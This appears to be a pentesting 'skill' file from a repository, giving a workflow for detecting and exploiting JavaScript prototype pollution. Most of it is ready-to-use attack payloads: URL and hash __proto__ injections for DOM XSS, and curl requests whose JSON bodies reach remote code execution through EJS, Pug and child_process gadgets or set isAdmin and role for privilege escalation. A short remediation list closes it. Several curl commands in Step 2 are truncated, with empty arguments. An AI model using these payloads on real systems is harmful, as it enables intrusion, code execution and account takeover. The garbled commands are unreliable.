exploiting-prototype-pollution-in-javascript

Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.

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Repository: braydos-h/BreachPilot
Last source activity: August 24, 2026 at 12:22
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name	exploiting-prototype-pollution-in-javascript
description	Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
domain	cybersecurity
subdomain	web-application-security
tags	["prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Exploiting Prototype Pollution in JavaScript

When to Use

When testing Node.js or JavaScript-heavy web applications
During assessment of APIs accepting deep-merged JSON objects
When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
During code review of object merge/clone/extend operations
When evaluating npm packages for prototype pollution gadgets

Prerequisites

Burp Suite with DOM Invader extension for client-side prototype pollution detection
Node.js development environment for server-side testing
Understanding of JavaScript prototype chain and object inheritance
Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
Prototype Pollution Gadgets Scanner Burp extension for server-side detection
Browser developer console for client-side prototype manipulation

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Prototype Pollution Sources

// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true

// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed

// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value

// Hash fragment pollution:
// http://target.com/#__proto__[key]=value

Step 2 — Test Server-Side Prototype Pollution

# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d 


curl -X POST http://target.com/api/update \
  -H  \
  -d 



curl -X POST http://target.com/api/merge \
  -H  \
  -d 



curl -X POST http://target.com/api/settings \
  -H  \
  -d

// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink

// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>

// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>

// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//

// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG

// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks

# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'

# EJS template engine gadget
curl -X POST http://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'

# Handlebars template gadget
curl -X POST http://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'

# Pug template engine gadget
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'

# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"isAdmin": true, "role": "admin"}}'

# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"verified": true, "emailVerified": true}}'

# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"additionalProperties": true}}'

# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt

# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml

# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard

# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working

Concept	Description
Prototype Chain	JavaScript inheritance mechanism where objects inherit from Object.prototype
proto	Accessor property that exposes the prototype of an object
Pollution Source	Input point that allows setting properties on Object.prototype
Pollution Sink	Code that reads a polluted property and performs a dangerous operation
Gadget	A property that flows from prototype to a dangerous sink (source-to-sink chain)
Deep Merge	Recursive object merge functions that may process proto as a regular key
constructor.prototype	Alternative path to access and pollute the prototype object

Tool	Purpose
DOM Invader	Burp Suite built-in tool for detecting client-side prototype pollution
Prototype Pollution Gadgets Scanner	Burp extension for server-side gadget detection
ppfuzz	Automated prototype pollution fuzzer
Nuclei	Template-based scanner with prototype pollution templates
server-side-prototype-pollution	Burp Scanner check for server-side detection
ESLint security plugin	Static analysis for prototype pollution patterns in code

## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget

### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |

### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)